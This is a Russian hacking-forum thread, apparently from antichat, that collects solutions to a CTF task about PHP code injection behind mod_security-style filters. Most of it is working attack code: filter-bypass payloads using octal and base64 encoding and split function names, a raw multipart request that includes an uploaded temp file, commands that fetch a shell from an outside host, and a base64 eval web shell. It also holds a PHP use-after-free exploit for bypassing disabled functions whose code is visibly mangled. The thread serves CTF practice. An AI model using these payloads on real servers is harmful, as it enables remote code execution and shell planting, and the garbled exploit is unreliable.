Как справедливо заметил Crlf, это изи-таск.
Но у задания хороший потенциал:
во-первых, RCE - всегда интересно, а обход фильтров - классика жанра
во-вторых, автор таска моделирует реальный случай, но оставил больше вариантов решения, чем имел сам.
в-третьих, решений много, в т.ч. есть и интересные.
в-четвертых, даже самое простое решение требует твоего включения и "повтыкать", скушно не будет.
Обращаюсь к паблику: Crlf`ами не рождаются, ими становятся. Вот Вам первая ступенька - CRLF[Level1].
И хорошая возможность - шагнуть на эту ступеньку.
А для Крлфов высокого уровня тоже есть варианты, возможно мы их увидим.
Как показывает практика, все мы сначала ищем простые решения, но для спеца 80-го уровня они начинаются не с первого, а примерно с 75 - 76, поэтому ждем их тоже.
Тот_самый_Щуп
19.09.2020, 23:46
За идею для таска была взята основа конфигурации mod_security с одного ресурса.
Конфигурацию перенесли в виде регулярок на PHP, но кое что было не учтено, что в свою очередь привело к большому количеству всевозможных решений ))
Изначально решение таска планировалось таким.
Заблокированы практически все функции, которые необходимы для заливки шелла, или полноценного выполнения кода, поэтому пришлось бы поискать, что не заблокировано.
mod_security в нашем случае не блокировал callback функции filter_
Одной из таких функций мы можем воспользоваться для чтения файлов, и прочитаем сами себя:
filter_var("index.php", FILTER_CALLBACK,array("options"=>"readfile"));
Получаем исходный код самого скрипта, смотрим его, и видим кривую регулярку:
$vuln_entry = preg_replace('/(assert|include|eval|require)/is','',$vuln_entry);
Обращаем внимание, что функции assert,eval находятся в запрещенном списке $disable_function_names, но остальные две, include и require - нет.
По сути использовать include или require мешает эта регулярка, но она легко обходится, например так: inclincludeude
Теперь, когда мы можем использовать include, надо подумать, как через неё проэксплуатировать полноценный RCE код.
Врапперы в PHP для include\require по умолчанию отключены, поэтому остается вариант загрузить файл на сервер, и его проинклудить.
Это можно сделать через трюк с загрузкой файла, и пока он находится во временной папке /tmp/ то проинклудить его через scandir подобрав массив.
Выглядит это следующим образом:
include('/tmp/'.scandir('/tmp/')[6]);
Соответственно формируем специальный http заголовок, и посылаем это на сервер:
.SpoilerTarget" type="button">Spoiler
POST / HTTP/1.1
Host: task12.antichat.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
Content-Type: multipart/form-data; boundary=---------------------------cd34e5c25fdd9f588c11127a23284
Content-Length: 403
-----------------------------cd34e5c25fdd9f588c11127a23284
Content-Disposition: form-data; name="x"; filename="1.jpg"
Content-Type: image/jpeg
-----------------------------cd34e5c25fdd9f588c11127a23284
Content-Disposition: form-data; name="rce"
$b=inclincludeude('/tmp/'.scandir('/tmp/')[6]);die();
-----------------------------cd34e5c25fdd9f588c11127a23284--
И уже имеем полноценный RCE который ничем не блокируется.
Как я уже писал ранее, из за небольшого косяка с переносом правил mod_security на площадку таска, его можно зарешать и множеством других вариантов.
Сами решения участников:
.SpoilerTarget" type="button">Spoiler
rce=file_put_contents/**/('I62oGbVMH57C25ASBVdk/ololo','');print_r/**/(scandir/**/('I62oGbVMH57C25ASBVdk'));
↑ (https://antichat.live)
$i=scandir('./');foreach($i as $a){print($a.PHP_EOL);};
папка -> I62oGbVMH57C25ASBVdk
copy('
http://img.com/static/img/img-logo.png
', './I62oGbVMH57C25ASBVdk/logo.png');
шелл неоткуда было тянуть, а белый домен не хотелось плить
↑ (https://antichat.live)
Ищем папку:
$f1="\163\143\141\156\144\151\162"("/var/www/html/");"\160\162\151\156\164\137\162"($f1);
$f1="\163\143\141\156\144\151\162"("/var/www/html/I62oGbVMH57C25ASBVdk/");"\160\162\151\156\164\137\162"($f1);
Заливаемся:
"\143\157\160\171\137\162"("
http://afgsdagdfhghgjgfj.coolpage.biz/sdghdshdhdjh.txt
","/var/www/html/I62oGbVMH57C25ASBVdk/sdghdshdhdjh.php");
#2
ну например так можно еще
$dirs = dir("/var/www/html");while (false !== ($wrdirs = $dirs->read())) { echo $wrdirs."\n"; };
copy("
http://localhost.com/index.html (http://localhost.com/)
","/var/www/html/shell_12");
#3
и вот так можно
$fro = array('file_get_contents','ololo');$fiii = $fro[0]("
http://localhost.com/index.html (http://localhost.com/)
");$fredd = array('file_put_contents','ololo');$fredd[0]("/var/www/html/shell_12",$fiii);
#4
$pro1 = 'copy';
$ex = explode(" ",$pro1);
implode(" ",$ex)("
http://localhost.com/index.html (http://localhost.com/)
","/var/www/html/shell_12");
↑ (https://antichat.live)
кароч лови, чисто по фану, вариант с байпасом твоего фильтра и system в disable_functions
Spoiler: удобочитаемый
pwn("ls");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace1 = 'debug_backtrace';
$backtrace2 = explode(" ",$backtrace1);
$backtrace = implode(" ",$backtrace2)();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for ($j = $s-1; $j >= 0; $j--) {
$address >= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for ($i = 0; $i >= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 0 && $leak - $base 0 && $leak - $base a = $arg;
}
$n_alloc = 10;
$contiguous = [];
for ($i = 0; $i b = function ($x) { };
if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if (!($zif_system = get_sdystem($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for ($i = 0; $i b)($cmd);
exit();
}
Spoiler: в одну строку чтобы не ругался
pwn("ls"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace;unset($this->a); $backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace1 = 'debug_backtrace';$backtrace2 = explode(" ",$backtrace1);$backtrace = implode(" ",$backtrace2)();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for ($j = $s-1; $j >= 0; $j--) {$address >= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for ($i = 0; $i >= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 0 && $leak - $base 0 && $leak - $base a = $arg;}$n_alloc = 10; $contiguous = [];for ($i = 0; $i b = function ($x) { };if (strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if (!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if (!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if (!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if (!($zif_system = get_sdystem($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for ($i = 0; $i b)($cmd);exit();}
ну сам сплоит ты думаю знаешь
↑ (https://antichat.live)
Привет.
"\160\162\151\156\164\137\162"(scandir('./')); - находим врайтабельную диру
"\146\151\154\145\137\160\165\164\137\143\157\156\1 64\145\156\164\163"('./I62oGbVMH57C25ASBVdk/test.txt', 'test'); - и льемся в нее
↑ (https://antichat.live)
Добрый вечер!
Задача решилась вовсе несложно:
Сперва необходимо найти директорию с правами на запись (данный момент зафиксирован в условиях задачи). Делаем это с помощью инъекции следующего кода, который поможет произвести листинг директорий в текущей папке веб-приложения:
print_r/**/(scandir('.'));
Можно заметить, что для обхода WAF используется пустой комментарий для раздробления имени функции print_r и списка её аргументов — такой вариант не учитывается. Впрочем, можно было обойтись и обычным echo() который не запрещен, вручную перебрав индексы всех файлов (помимо данного, и этот вариант далеко не последний).
Найдя папку с идентификатором "I62oGbVMH57C25ASBVdk", осталось лишь зашить полезную нагрузку в файл, используя самую очевидную для этого функцию, а также вышеупомянутый метод обхода WAF:
file_put_contents/**/("I62oGbVMH57C25ASBVdk/paradox.php","payload");
Теперь можно эмпирически убедиться, что по адресу /I62oGbVMH57C25ASBVdk/paradox.php располагается рабочая полезная нагрузка.
Задача решена. Если возникнет необходимость в полезную нагрузку запихнуть что-то "запрещенное", — то можно закодировать оную в base64 либо использовать конкатенацию функций chr() / любой иной метод.
↑ (https://antichat.live)
Доброй ночи.
В поле input вставил - 0;#?> узнал каталог I62oGbVMH57C25ASBVdk.
Проверил 0;#?>
Залил шелл 0;#?>
Этого достаточно? В первый раз прохожу.
Спасибо.
дополню.
переводим file_put_contents в oct
выполняем
0;#?>
получаем шелл
http://task.antichat.com:10012/I62oGbVMH57C25ASBVdk/0008.php
↑ (https://antichat.live)
Привет,
залил файл boxing.txt
Решение
Сначала находим директорию для записи
var_export(scandir('/var/www/html/'));
Смотрим ради интереса исходник index.php
var_export(copy('/var/www/html/index.php','php://output'));
Через эту же функцию copy пишем файл
copy('data://text/plain,supershell_code','/var/www/html/I62oGbVMH57C25ASBVdk/boxing.txt');
Спасибо за интересный таск )
↑ (https://antichat.live)
Привет)
rce=chdir('/var/www/html/I62oGbVMH57C25ASBVdk/');$file = new SplFileObject("t4sk_AchAt.php", "w");$file->fputcsv([''],',',' ');print(implode("
",scandir( '.')));
↑ (https://antichat.live)
История прохождения:
В начале я глянул код страницы - ничего полезного, форма как форма.
Потом посмотрел что такое RCE на
https://ru.bmstu.wiki/RCE_(Remote_Code_Execution)
И смастерил на локалке стенд
Enter value:
Прочитал ещё раз условия и загуглил mod_security, оказывается правильно писать слитно.
Нашел и установил к apache2 ModSecurity
apt-cache search modsecurity
apt install libapache2-mod-security2
Зашел на стенд и понял что нужно исполнить и завершиться
die('XA!');
Потом подумал что нужно получать результат исполнения
die(var_export(['XA','Xa','xa','!'], true));
Получаю доступные директории (open_basedir)
die(phpinfo());
Начинаю сканить директории
die(var_export(scandir('.'),true));
array (
0 => '.',
1 => '..',
2 => '.htaccess',
3 => 'I62oGbVMH57C25ASBVdk',
4 => 'favicon.ico',
5 => 'index.php',
)
Хочу узнать что такое I62oGbVMH57C25ASBVdk
die(var_export(stat('I62oGbVMH57C25ASBVdk'),true)) ;
array (
0 => 169,
1 => 892913827,
2 => 16895,
3 => 1,
4 => 0,
5 => 0,
6 => 0,
7 => 4096,
8 => 1599199092,
9 => 1599238668,
10 => 1599238668,
11 => 4096,
12 => 8,
'dev' => 169,
'ino' => 892913827,
'mode' => 16895,
'nlink' => 1,
'uid' => 0,
'gid' => 0,
'rdev' => 0,
'size' => 4096,
'atime' => 1599199092,
'mtime' => 1599238668,
'ctime' => 1599238668,
'blksize' => 4096,
'blocks' => 8,
)
Преобразую mode и понимаю что можно читать писать и запускать
40777
Заглядываю в мануал и вижу что это дира
man 7 inode
S_IFDIR 0040000 directory
Заглядываю внутрь
die(var_export(scandir('I62oGbVMH57C25ASBVdk'),tru e));
В одном из файлов нахожу подсказку
file_put_contents/**/('./I62oGbVMH57C25ASBVdk/baton.txt',urldecode/**/(substr/**/(file_get_contents/**/("php://input"),4)));
Но я хочу ценично залиться, а $_FILES фильтруется. Поэтому я зашел с другой стороны.
function f($v){return $v['_FILES']['ckpunmkug']['tmp_name'];} die(var_export(copy(f(get_defined_vars()),'./I62oGbVMH57C25ASBVdk/ckpunmkug.php'),true));
Затем создал формочку
И залился! Мой файл ckpunmkug.php
function f($v){return $v['_FILES']['ckpunmkug']['tmp_name'];} die(var_export(copy(f(get_defined_vars()),'./I62oGbVMH57C25ASBVdk/ckpunmkug.php'),true));
↑ (https://antichat.live)
Здравствуйте!
Прочитал
/threads/478776/ (https://antichat.live/threads/478776/)
Я прошел, только шелл не выполняется как PHP-скрипт. Так и должно быть?
Надо присылать описание своего прохождения (у меня в текстовом документе) и код, чтобы меня поместили в список в первом посте?
Вот ссылка на них:
https://www.sendspace.com/file/t9ldpb
Пароль на архив WinRAR:
task12
Созданный в папке с правами на запись файл:
http://task.antichat.com:10012/I62oGbVMH57C25ASBVdk/Harakternik.php
Спасибо.
↑ (https://antichat.live)
$path = scandir("/var/www/html/");foreach($path as $k){echo $k."
";} //смотрим папку
$path = scandir("/var/www/html/I62oGbVMH57C25ASBVdk/");foreach($path as $k){echo $k."
";} //смотрим подпапку
copy('/var/www/html/index.php','/var/www/html/I62oGbVMH57C25ASBVdk/index.txt');// копируем индекс
firequirele_purequiret_contenrequirets('/var/www/html/I62oGbVMH57C25ASBVdk/look2009.php', '');// соглано правилам index.php з ливаем что хотим
↑ (https://antichat.live)
Привет,
шелл залил с помощью:
$ce="PD9waHAgZXZhbCgkX0dFVFtcImNtZFwiXSk7===";$pe="ZmlsZV9wdXRfY29udGVudHM=";$c="base64_decode"($ce);$p="base64_decode"($pe);echo $p;"file_put_contents"("./I62oGbVMH57C25ASBVdk/ololo",$c);
Решения интересные, многие из которых могут помочь в реальных условиях фильтрации RCE разными WAF системами.
В общем, все молодцы.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot